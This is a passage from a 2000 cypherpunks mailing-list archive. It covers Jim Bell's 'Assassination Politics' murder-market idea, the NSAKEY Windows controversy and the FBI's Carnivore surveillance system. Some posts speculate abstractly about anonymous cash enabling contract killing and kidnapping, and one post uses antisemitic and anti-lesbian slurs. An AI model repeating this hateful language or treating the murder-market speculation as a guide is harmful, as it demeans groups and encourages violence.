his various crimes, Hillary for her tax evasion > > and insider trading and Algore on treason charges, I can hear Air > > Force One warming up its engines for its flight to Cuba. > > > > Fidel has offered asylum to Bill and Al,but not to Hillary. She's too > > far left even for him. > > > > Hillary may have to take refuge with either the Palestinians, where > > she can hug Yassir's wife all she wants, or ZOG. Maybe she can set up > > a double-wide in "No Man's Land." A lesbian sistah like her would no > > doubt like the sound of that. > > > > Regarding the Demonrats who tried to steal this election, I say it's > > time to take out the trash. > > > > > > --Tim May > > -- > > (This .sig file has not been significantly changed since 1992. As the > > election debacle unfolds, it is time to prepare a new one. Stay tuned.) > > > > > From k.brown at ccs.bbk.ac.uk Mon Nov 27 09:44:28 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Mon, 27 Nov 2000 17:44:28 +0000 Subject: CDR: Re: Re: Jim Bell arrested, documents online References: <20001127105737.B21014@ils.unc.edu> Message-ID: <3A229D7C.EF6D705A@ccs.bbk.ac.uk> Greg Newby wrote: > If a bunch of crypto anarchists or whoever decide to knock off > Bill Gates or Al Gore (who really didn't invent the Internet > well enough...), you can bet someone will come looking pretty hard! Would AP be the main criminal use of robust crypto & Hettinga's pet geodesic market? If there was widespread use of a truly anonymous, untraceable, reliable way of sending large amounts of easily usable cash to people with whom one has no physical connection (I mean every single one of those 7 or 8 qualifiers) what crime would flourish? Murder? But there is plenty of that already. And it involves physical contact Even if most private individuals didn't follow the AP market (were one to develop) you can bet that spooks and insurance companies would (*) & likely victims would becme better defended. Tax evasion? Of course. But in the hypothetical cryptocash future everybody will be doing it. Income tax evasion will cease to be considered a crime. States will move away from transaction taxes back to property taxes (which they probably ought to do anyway, but haven't yet, for obvious reasons). Pornography? Already happening. But, it will probably become effectively free, like all the other software. Not a huge profit to be made in the long run, not when anywone will be able to download as much as they want from anywhere. Kidnapping? At the moment the weak point in a kidnapping is getting the money in. You have to give away your location, and you have to pick up a physical, traceable, object. If ransoms could be paid untraceably, expect kidnappings to increase to Colombian levels world-wide. Of course the kidnappers need to establish a trust that the prisoner will be released if the ransom is paid, but that is the way things are already anyway - which is why reasonably large organisations, or ones with some political credibility, specialise in it. You might not believe a ransom demand from CMOT Dibbler Esquire, of Bread Lane, but you pay attention if it was (digitally certifiably) from ETA or the provisional IRA, or LTTE, or various Colombian herbal suppliers. Ken (not happy with this idea at all...) (*) talking of which, an opinion poll in the UK found that the thing that most worried people about genetic technology was their insurance companies getting hold of data on them. That scored lower down than biological warfare - only 8% or respondents thought tht insurers should have access to such information. I have no idea how slanted the question was. From k.brown at ccs.bbk.ac.uk Mon Nov 27 10:03:58 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Mon, 27 Nov 2000 18:03:58 +0000 Subject: CDR: RE: Re: Jim Bell arrested, documents online References: Message-ID: <3A22A20E.48F9EB0F@ccs.bbk.ac.uk> "Trei, Peter" wrote: > Governments by having an effective monopoly on violence in a > given area (George the Second bears the blood of over 300 > people who presented no threat to society (they were already > incarcerated)). If he is to bear a proper regnal number, surely he should be George III? Succeeding, if I work it aright, Franklin II, Harold, Dwight, John IV, Lyndon, Richard, Gerald, James VI, Ronald George II and William IV Not that that invalidates your point. Ken Brown From tom at ricardo.de Mon Nov 27 09:04:37 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 27 Nov 2000 18:04:37 +0100 Subject: CDR: ICANN new TLDs Message-ID: <3A229425.A78149EB@ricardo.de> the best article on this shame/scam I've found so far: http://www.heise.de/tp/english/inhalt/te/4347/1.html contrary to most of the other stuff, this one doesn't concentrate on how ridiculous .museum is, but rather on the actual proceedings and on how ICANN came up with whatever they came up with. From bear at sonic.net Mon Nov 27 19:16:58 2000 From: bear at sonic.net (Ray Dillinger) Date: Mon, 27 Nov 2000 19:16:58 -0800 (PST) Subject: CDR: Re: Jim Bell In-Reply-To: Message-ID: On Mon, 27 Nov 2000, A. Melon wrote: >Newby puzzles: > >> Right, I agree. >> >>But what I'd like to consider is a recipe for "plain ordinary" >>folk to conspire anonymously to commit murder. > > Did you even bother to read AP? RTFM, dude! Speaking as someone who has very recently read AP, the protocol presented therein is incomplete. I'm collecting protocols, trying to write a reference work of them, and, well, I'm most of the way through the A's so the other day I looked at Assassination Politics again. Since this time I was trying to distill a formal protocol specification, I was a lot more critical about fine points. Bell handwaved on the point of obtaining digital cash for paying the assassin with. Bob the broker can go to the bank and obtain it in the usual way, of course - but then has to transfer it to Alice the assassin, and there's a sticky point involved. If he just "copies" the money to Alice, she can double-spend with impunity and it's Bob's identity that will be revealed. Conversely, if she provides tokens for the bank to sign, then Bob has a major problem getting them past the cut-and- choose protocol at the bank. Even if she provides enough tokens to completely populate the cut-and-choose protocol, those tokens still have to have splits of valid identification information for somebody in them - and giving them all to Bob so that Bob could complete the protocol with the bank - would imply that Bob is privy to that information. Worse, the bank will have the information from the cuts it didn't choose, and has to make sure it all matches. Thus, Bob the Broker and Dave the Banker can identify Alice - or at the very least someone whose identification Alice has stolen. Finally, Carol the contributor has to have a way to check the digital cash that was sent Alice - to make sure Bob is not holding out her contribution. This works if Carol's original coinage is simply encrypted under the key that the successful predictor used - because Carol can perform the same computation and make sure that bit string appears in the "payment" package. But then Carol has the same problem where Alice can double-spend with impunity and it's Carol's identity that will be revealed. On the other hand, if Carol's digital cash is transferred to Bob by protocol, there's no way she can recognize it later under encryption. (and under commercial digital cash protocols now in use, no way Bob can retransfer it to Carol). So if Bob deposits the money and obtains new digital cash, Carol needs a way to look at that digital cash and know that it does in fact carry the bank's signatures for the proper amounts - she can't recognize her own bills, but she can check that the total is correct from the last point at which she could. But Carol has to be provided this information without providing her enough information to just spend the cash herself. In short, AP as described by Bell appears to depend on digital cash having some exotic and not-otherwise-very- useful properties, including a bank with a protocol that allows issue-by-proxy, which has no readily apparent commercial use. No protocol for digital cash that I'm yet aware of has these properties. Hence, without some major engineering work, and probably the active cooperation of some bank, AP as described cannot be implemented. I think some of these problems could be solved by engineering; but A, it would be non-trivial work, and B, I don't think I care to waste any effort on figuring out secure ways to kill people outside the law. Bear From cabhop at highfiber.com Mon Nov 27 17:29:40 2000 From: cabhop at highfiber.com (Robert Huddleston) Date: Mon, 27 Nov 2000 19:29:40 -0600 Subject: No subject Message-ID: believer at telepath.com) Subject: ip: TechNews: NSA Builds Security Access Into Windows Cc: starla_pureheart at yahoo.com http://www.guncontrolvictories.com/enemies_ms.html Gun Control Victories ECHELON (NSA) in Windows Technology News NSA Builds Security Access Into Windows A careless mistake (what a crock my comment) by Microsoft programmers has shown that special access codes for use by the U.S. National Security Agency (NSA) have been secretly built into all versions of the Windows operating system. Computer-security specialists have been aware for two years that unusual features are contained inside a standard Windows driver used for security and encryption functions. The driver, called ADVAPI.DLL, enables and controls a range of security functions including the Microsoft Cryptographic API (MS-CAPI). In particular, it authenticates modules signed by Microsoft, letting them run without user intervention. At last year's Crypto 98 conference, British cryptography specialist Nicko van Someren said he had disassembled the driver and found it contained two different keys. One was used by Microsoft to control the cryptographic functions enabled in Windows, in compliance with U.S. export regulations. But the reason for building in a second key, or who owned it, remained a mystery. Now, a North Carolina security company has come up with conclusive evidence the second key belongs to the NSA. Like van Someren, Andrew Fernandes, chief scientist with Cryptonym of Morrisville, North Carolina, had been probing the presence and significance of the two keys. Then he checked the latest Service Pack release for Windows NT4, Service Pack 5. He found Microsoft's developers had failed to remove or "strip" the debugging symbols used to test this software before they released it. Inside the code were the labels for the two keys. One was called "KEY." The other was called "NSAKEY." Fernandes reported his re-discovery of the two CAPI keys, and their secret meaning, to the "Advances in Cryptology, Crypto'99" conference held in Santa Barbara. According to those present at the conference, Windows developers attending the conference did not deny the "NSA" key was built into their software. But they refused to talk about what the key did, or why it had been put there without users' knowledge. But according to two witnesses attending the conference, even Microsoft's top crypto programmers were stunned to learn that the version of ADVAPI.DLL shipping with Windows 2000 contains not two, but three keys. Brian LaMachia, head of CAPI development at Microsoft was "stunned" to learn of these discoveries, by outsiders. This discovery, by van Someren, was based on advance search methods which test and report on the "entropy" of programming code. Within Microsoft, access to Windows source code is said to be highly compartmentalized, making it easy for modifications to be inserted without the knowledge of even the respective product managers. No researchers have yet discovered a programming module which signs itself with the NSA key. Researchers are divided about whether it might be intended to let U.S. government users of Windows run classified cryptosystems on their machines or whether it is intended to open up anyone's and everyone's Windows computer to intelligence gathering techniques deployed by the NSA's burgeoning corps of "information warriors." According to Fernandes of Cryptonym, the result of having the secret key inside your Windows operating system "is that it is tremendously easier for the NSA to load unauthorized security services on all copies of Microsoft Windows, and once these security services are loaded, they can effectively compromise your entire operating system". The NSA key is contained inside all versions of Windows from Windows 95 OSR2 onward. "For non-American IT managers relying on WinNT to operate highly secure data centers, this find is worrying," he added. "The U.S government is currently making it as difficult as possible for 'strong' crypto to be used outside of the U.S. That they have also installed a cryptographic back-door in the world's most abundant operating system should send a strong message to foreign IT managers. "How is an IT manager to feel when they learn that in every copy of Windows sold, Microsoft has installed a 'back door' for the NSA -- making it orders of magnitude easier for the U.S. government to access your computer?" he said. Van Someren said he felt the primary purpose of the NSA key might be for legitimate U.S. government use. But he said there cannot be a legitimate explanation for the third key in Windows 2000 CAPI. "It looks more fishy," he said on Friday. Fernandes said he believed the NSA's built-in loophole could be turned round against the snoopers. The NSA key inside CAPI could be replaced by your own key, and used to sign cryptographic security modules from overseas or unauthorized third parties, unapproved by Microsoft or the NSA. This is exactly what the U.S. government has been trying to prevent. A demonstration "how to do it" program that replaces the NSA key can be found on Cryptonym's website. According to one leading U.S. cryptographer, the IT world should be thankful the subversion of Windows by NSA has come to light before the arrival of CPUs that handle encrypted instruction sets. These would make the type of discoveries made this month impossible. "Had the next-generation CPUs with encrypted instruction sets already been deployed, we would have never found out about NSAKEY," he said. Related Stories: U.S. Uses Key Escrow To Steal Secrets Report: U.S. Uses Key Escrow To Steal Secrets Posted (09/03/99, 2:05 p.m. ET) By Duncan Campbell, TechWeb WANT TO KNOW MORE? http://www.guncontrolvictories.com/enemies_ms.html THEN SCROLL DOWN.... http://www.guncontrolvictories.com/00_contents.html - =============== http://news.bbc.co.uk/hi/english/sci/tech/newsid_437000/437967.stm BBC News | Sci/Tech | Windows 'back door' security alert Friday, September 3, 1999 Published at 22:18 GMT 23:18 UK Sci/Tech Windows 'back door' security alert By Internet Correspondent Chris Nuttall Cryptographers mark up code for a new key found in Windows [ Picture ] Cryptographers are sounding the alarm on a major security issue involving Microsoft Windows that could eclipse its Hotmail public relations disaster. The BBC's Kathy Riddell: "This has set alarms bells ringing" The findings of a computer security expert that America's National Security Agency (NSA) may have been given a back door into every copy of Windows 95, 98, NT4 and 2000 worldwide are being debated across the Internet. Microsoft has issued a strong denial of allegations of misuse of a second encryption "key" in Windows. "These are just used to ensure that we're compliant with US export regulations," said Scott Culp, Microsoft's security manager for its Windows NT Server software. "We have not shared the private keys. We do not share our keys." But cryptographers in the UK described the implications of the findings as "immense". Windows is installed on more than 90% of the world's computers. Second key for Windows Andrew Fernandes, Chief Scientist at the Ontario-based Cryptonym Corporation, is credited with discovering the identity of a second key used by Windows for encryption purposes. The BBC's Chris Nuttall: "Windows is used on 90% of the world's computers" Caspar Bowden, director of London-based Internet think-tank FIPR, said: "The allegation is that every copy of Windows contains an extra 'magic number' which would permit it to work with encryption modules designed by the US National Security Agency, as well as those approved by Microsoft." The approval mechanism was introduced to ensure that the weak encryption in non-US versions of Windows could not be replaced with stronger software without it being checked against a "key" embedded in Windows, proving that it had been digitally signed off by Microsoft. Two years ago, cryptographers found an alternative, and apparently superfluous, second embedded key. The new details came to light through debugging information erroneously left in the latest service pack for Windows NT. Significantly, the key has the data tag "_NSAKEY" giving rise to speculation that the NSA persuaded Microsoft to give it special access to Windows in a secret deal. Microsoft says it called its function an "NSA key" because the body reviews technical details for the export of data-scrambling software. MS talked with NSA It is known that Microsoft negotiated with the NSA on including encryption in its product. The export of strong encryption is banned by the Clinton administration, which fears terrorists and other criminals could turn it against the US. There are two theories on why this unnecessary second key is included in Windows: * Conspiracy theorists say the key can be used to infiltrate targeted computers. It gives the NSA a direct way of doing this without having to use Microsoft's own key. * A more charitable theory is that Microsoft allowed the NSA a special key to secure the thousands of government computers running Windows. "The innocent explanation is that the US wished to create bespoke encryption modules for official use on government systems without reference to Microsoft," said Mr Bowden. "Ironically, introducing the second key has created a major security loophole in a mechanism which was designed to enforce US export controls on strong cryptography." Microsoft suffered serious embarrassment on Monday when hackers exposed a simple way of breaking into the mailboxes of more than 40 million users of its Hotmail e-mail service. --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From ericm at lne.com Mon Nov 27 19:37:41 2000 From: ericm at lne.com (Eric Murray) Date: Mon, 27 Nov 2000 19:37:41 -0800 Subject: CDR: Re: ip: TechNews: NSA Builds Security Access Into Windows In-Reply-To: ; from rah@shipwright.com on Mon, Nov 27, 2000 at 10:19:00PM -0500 References: Message-ID: <20001127193741.B10845@slack.lne.com> On Mon, Nov 27, 2000 at 10:19:00PM -0500, R. A. Hettinga wrote: [NSAkey in MS] >Old-Subject: ip: TechNews: NSA Builds Security Access Into Windows Old subject indeed- this stuff's from sept 1999. -- Eric Murray Consulting Security Architect SecureDesign LLC http://www.securedesignllc.com PGP keyid:E03F65E5 From tcmay at got.net Mon Nov 27 19:45:58 2000 From: tcmay at got.net (Tim May) Date: Mon, 27 Nov 2000 19:45:58 -0800 Subject: CDR: Re: Jim Bell In-Reply-To: References: Message-ID: At 7:16 PM -0800 11/27/00, Ray Dillinger wrote: > >Since this time I was trying to distill a formal protocol >specification, I was a lot more critical about fine points. > >Bell handwaved on the point of obtaining digital cash for >paying the assassin with. Bob the broker can go to the There's often "hand-waving" when reasoning about digital cash and how it is transferred, spent, redeemed, etc. Bell is not a cryptographer. Also, he didn't claim to have built a working system. (I think any of us could be called as witnesses to refute a state claim that he was deploying a real system!) However, much of your reasoning below is _also_ hand-waving. Fortunately, there's a way to cut through it. I'll cover this at the end, after your included section (which I would normally snip, but won't this time). >bank and obtain it in the usual way, of course - but then >has to transfer it to Alice the assassin, and there's a >sticky point involved. If he just "copies" the money to >Alice, she can double-spend with impunity and it's Bob's >identity that will be revealed. > >Conversely, if she provides tokens for the bank to sign, >then Bob has a major problem getting them past the cut-and- >choose protocol at the bank. Even if she provides enough >tokens to completely populate the cut-and-choose protocol, >those tokens still have to have splits of valid identification >information for somebody in them - and giving them all to >Bob so that Bob could complete the protocol with the bank - >would imply that Bob is privy to that information. Worse, >the bank will have the information from the cuts it didn't >choose, and has to make sure it all matches. Thus, Bob the >Broker and Dave the Banker can identify Alice - or at the >very least someone whose identification Alice has stolen. > >Finally, Carol the contributor has to have a way to check >the digital cash that was sent Alice - to make sure Bob >is not holding out her contribution. This works if Carol's >original coinage is simply encrypted under the key that the >successful predictor used - because Carol can perform the >same computation and make sure that bit string appears in >the "payment" package. But then Carol has the same problem >where Alice can double-spend with impunity and it's Carol's >identity that will be revealed. On the other hand, if >Carol's digital cash is transferred to Bob by protocol, >there's no way she can recognize it later under encryption. >(and under commercial digital cash protocols now in use, no >way Bob can retransfer it to Carol). So if Bob deposits the >money and obtains new digital cash, Carol needs a way to >look at that digital cash and know that it does in fact >carry the bank's signatures for the proper amounts - she >can't recognize her own bills, but she can check that the >total is correct from the last point at which she could. >But Carol has to be provided this information without >providing her enough information to just spend the cash >herself. > >In short, AP as described by Bell appears to depend on >digital cash having some exotic and not-otherwise-very- >useful properties, including a bank with a protocol that >allows issue-by-proxy, which has no readily apparent >commercial use. No protocol for digital cash that I'm >yet aware of has these properties. Hence, without some >major engineering work, and probably the active cooperation >of some bank, AP as described cannot be implemented. It's simple: If payer-anonymity (payer is untraceable by the payee) and payee-anonymity (payee is untraceable by the payer) exists, then the buyers and sellers of some "thing" are untraceable to each other. Whether that "thing" is a piece of warez or a bet in a murder pool (cf. Jack London for a much earlier discussion that Bell's). Arguing how complicated or confusing digital cash can be by citing a specific market like AP is what I mean by hand-waving. If, for example, the Mojo Nation folks succeed in making "mojo" both payer-anonymous AND payee-anonymous, then all of the hand-waving above is beside the point. > >I think some of these problems could be solved by >engineering; but A, it would be non-trivial work, and B, >I don't think I care to waste any effort on figuring out >secure ways to kill people outside the law. > > Bear RTFM. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From njohnson at interl.net Mon Nov 27 17:48:26 2000 From: njohnson at interl.net (Neil Johnson) Date: Mon, 27 Nov 2000 19:48:26 -0600 Subject: CDR: Re: Re: Re: Jim Bell arrested, documents online References: <20001127105737.B21014@ils.unc.edu> Message-ID: <003b01c058dd$4ed25dc0$0100a8c0@nandts> It's happened. I remember seeing a 60' (minutes) show where a small town (Tennessee or Georgia ?) was being terrorized by a bully. The police couldn't do much (He had good lawyer). Finally, the citizens have had enough. He goes to down to get drunk at a bar and several townspeople are already there. There's a scuffle. He gets killed (shot). The police interview all involved, but they all answer, "I didn't see anything". The weapon is never found. State police, FBI get involved. No luck. Since the police can't find a witness to come forward, They can't arrest anybody. I believe the mystery hasn't been solved to this day. Sorry, I don't have specifics, but I'm sure someone here knows about it. Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "Greg Newby" To: Sent: Monday, November 27, 2000 9:57 AM Subject: CDR: Re: Re: Jim Bell arrested, documents online > On Mon, Nov 27, 2000 at 10:29:54AM -0500, Trei, Peter wrote: > > > > > > > ---------- > > > From: Greg Newby[SMTP:gbnewby at ils.unc.edu] > > > "de puta madre!" > > > > > > But seriously, folks: How would you work with a like-minded > > > distributed group to murder someone? Preferably with guaranteed > > > no risk of discovery or prosecution to the participants. > > > > > > - Would we need to assume the someone would be the "hands," e.g., > > > your good ole' professional hit-man? How would s/he be contacted? > > > > > > - How would the person be paid? How would the money be collected > > > from the different people who pay? > > > > > > - What trust model would work? Would it be more desirable for > > > all players to be completely anonymous? Cells of people who know > > > each other? > > > > > > - Could this all be done legally (without the individuals who > > > are planning and paying needing to commit any crimes)? > > [...] > > > -- Greg > > > > > Um, governments and organized crime achieve this goal on a > > regular basis. > > > > Governments by having an effective monopoly on violence in a > > given area (George the Second bears the blood of over 300 > > people who presented no threat to society (they were already > > incarcerated)). > > > > Organized criminals by having the resources and manpower to > > effectively separate the person ordering a hit from the person > > doing the hit, and to cover up the evidence. > > > > Beyond that, even non-distributed murders are often unsolved, > > especially when there is no pre-existing link between murderer > > and victim (eg, many serial killers). > > Right, I agree. > > But what I'd like to consider is a recipe for "plain ordinary" > folk to conspire anonymously to commit murder. > > Not just any murder: murder for some of the people who (some > people on this list have said), are needing killin'. > > If a bunch of crypto anarchists or whoever decide to knock off > Bill Gates or Al Gore (who really didn't invent the Internet > well enough...), you can bet someone will come looking pretty hard! > > Again, I see this as a serious problem in applied cryptography. > -- Greg > From rah at shipwright.com Mon Nov 27 17:42:45 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Mon, 27 Nov 2000 20:42:45 -0500 Subject: CDR: Re: On 60" tonight In-Reply-To: <3.0.6.32.20001127072532.007ff8c0@pop.sprynet.com> References: Message-ID: At 10:57 AM -0500 on 11/27/00, David Honig wrote: > Reality Distortion Field ("We even had *hand signals* >>to warn each other when they were getting sucked in..." :-) >> Thanks! >> Bill > > Think of the bandwidth we could save if we had emoticons for > various forms of that, in this forum. We do, of course, viz., RDF=11 ("Ours go to Eleven") ... RDF=13 (Monkeys fly out your ass) and so on... :-). Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From no.user at anon.xg.nu Mon Nov 27 19:31:37 2000 From: no.user at anon.xg.nu (No User) Date: Mon, 27 Nov 2000 21:31:37 -0600 Subject: CDR: Imagine Message-ID: <3ea1c0c6af88b571e86f82cb967a4d02@anon.xg.nu> A history professor from Uppsala Universitet in Sweden, called to tell me about this article she had read in which a Zimbabwe politician was quoted as saying that children should study this event closely for it shows that election fraud is not only a Third World phenomena. 1. Imagine that we read of an election occurring anywhere in the third world in which the self declared winner was the son of the former prime minister and that former prime minister was himself the former head of that nation's secret police (CIA). 2. Imagine that the self declared winner lost the popular vote but won based on some old colonial holdover (electoral college) from the nation's pre-democracy past. 3. Imagine that the self-declared winner's 'victory' turned on disputed votes cast in a province governed by his brother! 4. Imagine that the poorly drafted ballots of one district, a district heavily favoring the self-declared winner's opponent, led thousands of voters to vote for the wrong candidate. 5. Imagine that that members of that nation's most despised caste, fearing for their lives/livelihoods, turned out in record numbers to vote in near-universal opposition to the self-declared winner's candidacy. 6. Imagine that hundreds of members of that most-despised caste were intercepted on their way to the polls by state police operating under the authority of the self-declared winner's brother. 7. Imagine that six million people voted in the disputed province and that the self-declared winner's 'lead' was only 327 votes. Fewer, certainly, than the vote counting machines' margin of error. 8. Imagine that the self-declared winner and his political party opposed a more careful by-hand inspection and re-counting of the ballots in the disputed province or in its most hotly disputed district. 9. Imagine that the self-declared winner, himself a governor of a major province, had the worst human rights record of any province in his nation and actually led the nation in executions. 10. Imagine that a major campaign promise of the self-declared winner was to appoint like-minded human rights violators to lifetime positions on the high court of that nation. None of us would deem such an election to be representative of anything other than the self-declared winner's will-to-power. All of us, I imagine, would wearily turn the page thinking that it was another sad tale of pitiful pre- or anti-democracy peoples in some strange elsewhere." From dmolnar at hcs.harvard.edu Mon Nov 27 18:33:25 2000 From: dmolnar at hcs.harvard.edu (dmolnar) Date: Mon, 27 Nov 2000 21:33:25 -0500 Subject: CDR: RE: Internet anonymity/pseudonymity meeting invitation In-Reply-To: Message-ID: On Mon, 27 Nov 2000, Trei, Peter wrote: > > This first meeting is a brief, relatively unstructured get-to-know-you > > affair, designed to identify those interested and start them talking to > > one another. > [...] > > -- J. Bashinski > > Secretary, NymIP-RG > > > Does anyone besides me find irony in having a 'get-to-know-you' > session for a group studying anonymity? Pseudonymity as well, isn't it? > Practice what you preach.... Old habits are, unfortunately, hard to break. > Peter Trei > > 'The anarchists were highly disciplined....' "Anarchy is Order" - P.J. Proudhon -David From phaedrus at sdf.lonestar.org Mon Nov 27 19:43:24 2000 From: phaedrus at sdf.lonestar.org (Phaedrus) Date: Mon, 27 Nov 2000 21:43:24 -0600 (CST) Subject: CDR: ip: TechNews: NSA Builds Security Access Into Windows In-Reply-To: Message-ID: On Mon, 27 Nov 2000, R. A. Hettinga wrote: > http://www.guncontrolvictories.com/enemies_ms.html > > Gun Control Victories > > ECHELON (NSA) in Windows > > Technology News NSA Builds Security Access Into Windows > http://www.guncontrolvictories.com/00_contents.html NSA backdoor creates security hole in Windows http://slashdot.org/articles/99/09/03/0940241.shtml Microsoft NSA key Follow-Up http://slashdot.org/articles/99/09/09/138209.shtml incidently both of these went up back in september 1999 The second article has links to both microsoft's response and bruce schneier's comments... I don't claim to know who's right, but I do have to admit that 'NSAKEY' would be a lousy thing to actually name a covert key ;) but then, the fbi still call's it carnivore, so.... Ph. From anonymous at openpgp.net Mon Nov 27 18:56:30 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Mon, 27 Nov 2000 21:56:30 -0500 Subject: CDR: Carnivore Probe Mollifies Some Message-ID: <3b14d4561626c38c96b65593c0236992@noisebox.remailer.org> A report is to conclude that the FBI's e-mail surveillance system does not threaten civil liberties. Privacy advocates remain unconvinced. By Jennifer DiSabatino Privacy advocates said they remain leery about the FBI's Carnivore e-mail surveillance system following last night's release of a draft report on the technology by an independent review team, despite the report's conclusions that the controversial software essentially does what it was designed to do � track specific digital communications with the permission of a court order. But others, including the FBI, said the report prepared by the Chicago-based IIT Research Institute (IITRI) shows that Carnivore just needs to be fine-tuned and then closely monitored itself in order to prevent the system from being improperly used by law-enforcement officials. "I believe, at least at a basic level, that this established that Carnivore doesn't bite off more than it can chew," said Kenneth Segarnick, assistant general counsel at messaging services vendor United Messaging in West Chester, Pa. "Now we need to put a leash on it and make sure that it's only unleashed under a certain set of circumstances. Carnivore still can do quite a bit. They call it Carnivore for a reason." For example, Segarnick � who has testified before Congress on workplace e-mail security measures � suggested that regulations be put in place "so that the FBI does not have the automatic right to trap the 'to' and 'from' lines on e-mails" while using Carnivore to investigate suspected criminal activities. And he said legislation also needs to be enacted to make sure the software doesn't collect data on people who aren't being investigated. Carnivore is a software program that monitors packets of data passing through an Internet service provider's network. Officials at the FBI and the DOJ have said the surveillance system can only be legally deployed to monitor allegedly criminal activity under a court order, similar to the regulations that govern the use of telephone wiretaps. The report by IITRI, which was edited by officials at the U.S. Department of Justice before being released, said Carnivore isn't powerful enough to monitor "almost everyone with an e-mail account" at an ISP or to follow individual Internet users as they surf the Web. But the report added that the software "can record any traffic it monitors" if it has been incorrectly configured by investigators (see story). Privacy advocates seized on that point as a confirmation that Carnivore could be used to collect broad swaths of data on individuals. The Electronic Privacy Information Center (EPIC), a Washington-based privacy group that's seeking the release of all the FBI's Carnivore-related documents through a Freedom of Information Act request, yesterday issued a statement charging that the IITRI report "raises more questions than it answers." "If it's that easy for the FBI to accidentally collect too much data, imagine how simple it would be for agents to do so intentionally," said David Sobel, EPIC's general counsel. "This supports our belief that Carnivore raises extremely serious privacy concerns." But FBI spokesman Paul Bresson said those kinds of concerns are overstated. "We never denied that it had the capability to capture more [data than an investigation requires]," he said. "What we maintained was that it had the filtering devices to capture only the data pertaining to the court order." Bresson added that the FBI is now looking at improving the Carnivore software so it would only target the subject of an investigation without collecting information about other people whose e-mail messages are transmitted across an ISP's network as part of the same packet of data. But Jennifer Granick, an attorney and privacy advocate in San Francisco, said the FBI should have done that from the start. "If the device intends to adhere to the law, then design it that way," she said. Granick acknowledged that the likelihood of unintentional privacy violations is limited, but she said Carnivore gives individual employees within the FBI the ability to monitor anyone they want to track. That kind of rogue usage is the real threat, Granick said. Jennifer DiSabatino writes for the IDG News Service From rah at shipwright.com Mon Nov 27 19:19:00 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Mon, 27 Nov 2000 22:19:00 -0500 Subject: CDR: ip: TechNews: NSA Builds Security Access Into Windows Message-ID: --- begin forwarded text From alan at clueserver.org Mon Nov 27 22:24:57 2000 From: alan at clueserver.org (Alan Olsen) Date: Mon, 27 Nov 2000 22:24:57 -0800 (PST) Subject: CDR: Re: Jim Bell In-Reply-To: Message-ID: On Tue, 28 Nov 2000, R. A. Hettinga wrote: > Maybe it was Toto's ersatz-AP web page I was remembering, now that I think > about it, which, of course, Toto *didn't* plead to... But the prosecutors did not quite get the joke. It was quite obvious that the site was rigged to a small and preselected handful of entries. Kind of like the last election. alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From tcmay at got.net Mon Nov 27 19:36:44 2000 From: tcmay at got.net (Tim May) Date: Mon, 27 Nov 2000 22:36:44 -0500 Subject: CDR: Re: Carnivore Probe Mollifies Some In-Reply-To: <3b14d4561626c38c96b65593c0236992@noisebox.remailer.org> References: <3b14d4561626c38c96b65593c0236992@noisebox.remailer.org> Message-ID: At 9:56 PM -0500 11/27/00, anonymous at openpgp.net wrote: >A report is to conclude that the FBI's e-mail surveillance system >does not threaten civil liberties. Privacy advocates remain >unconvinced. >By Jennifer DiSabatino >Privacy advocates said they remain leery about the FBI's Carnivore >e-mail surveillance system following last night's release of a draft >report on the technology by an independent review team, despite the >report's conclusions that the controversial software essentially >does what it was designed to do - track specific digital >communications with the permission of a court order. > >But others, including the FBI, said the report prepared by the >Chicago-based IIT Research Institute (IITRI) shows that Carnivore >just needs to be fine-tuned and then closely monitored itself in >order to prevent the system from being improperly used by >law-enforcement officials. No mention of a basic objection: this so-called Carnivore _might_ be authorized by a specific court order in a specific case, but: a) it had better not pick up communications NOT PART OF THE ORDER. and b) it must be removed immediately after use oh, and c) all costs related to disruptions of service, downtime, etc. must be paid-for by the law enforcement agency or court ordering the operation. I'm surprised I don't see more ruckus about b). Look at it simply. Alice is operating a couple of machines for her small ISP. Some guys in uniform, or maybe just ninjas in black, arrive with a court order saying that their Pentium III Carnivore box must be attached to her system. She consults with her lawyer and says "OK, you can begin your attachment when we have a scheduled down time tonight at midnight." Maybe they agree, maybe they demand immediate installation. Anyway, it somehow gets installed. Assuming it doesn't have the deleterious effects Earthlink was reporting, let's assume it sits there and does its thing. Ten days later, Jim Bell^h^H^H^H^Hthe perp is busted. Alice calls the cops and says: "Come on over and pick up your machine." Ah, but what we are hearing about Carnivore is that these would be semi-permanent installations. Well, if I ran a small ISP, I think I'd say: "You got a wiretap order for one person. That order has now run its course. Get your machine out of my cage." There is nothing in the Constitution about one particular search warrant then magically meaning access is forever granted! "We got a search warrant two years ago so we can enter this house at any time." More in tune with discussions I used to see (and participate in) on the Cyberia-L list, there _might_ be some "innkeeper's interpretation" (so to speak) about how a hotel owner can authorize access to the rooms of patrons without specific warrants for the patrons, by name. I believe, though I don't have any cites, that this power is not so broad. And a warrant served against the San Francisco Hyatt Regency in, say, October 1997, does not mean that cops can wander through hotel rooms at will a year or three later. My understanding of search warrants and wire taps is that the specific party, time and place, must be named. There is no provision for Carnivore boxes being "resident." CALEA has some onerous language in it, but it doesn't trump the Fourth Amendment. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From p_health29 at mail.ru Mon Nov 27 21:02:08 2000 From: p_health29 at mail.ru (Don't delete!) Date: Mon, 27 Nov 2000 